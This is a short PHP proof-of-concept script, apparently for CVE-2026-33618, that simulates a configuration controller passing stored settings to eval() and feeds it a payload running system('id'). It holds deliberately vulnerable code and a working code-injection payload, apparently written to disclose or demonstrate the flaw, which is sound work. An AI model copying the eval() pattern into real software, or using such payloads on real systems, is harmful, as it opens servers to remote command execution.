<?php // PoC Simulation for CVE-2026-33618 // This script demonstrates how the vulnerable eval() usage can be exploited. // Simulating the vulnerable function in PlatformConfigurationController function decodeSettingArray($settingString) { // VULNERABILITY: Direct use of eval() on database content return eval("return " . $settingString . ";"); } // Step 1: Attacker (Admin) injects payload into the database setting // The payload intends to execute 'id' command on the server // The array structure is maintained to bypass basic format checks, if any. $maliciousPayload = "array('key' => system('id'))"; // Step 2: A normal user visits /platform-config/list // The application loads the setting and passes it to the vulnerable function echo "Triggering the vulnerability via /platform-config/list...\n"; $result = decodeSettingArray($maliciousPayload); // If successful, the output of 'id' will be printed before the script ends ?>
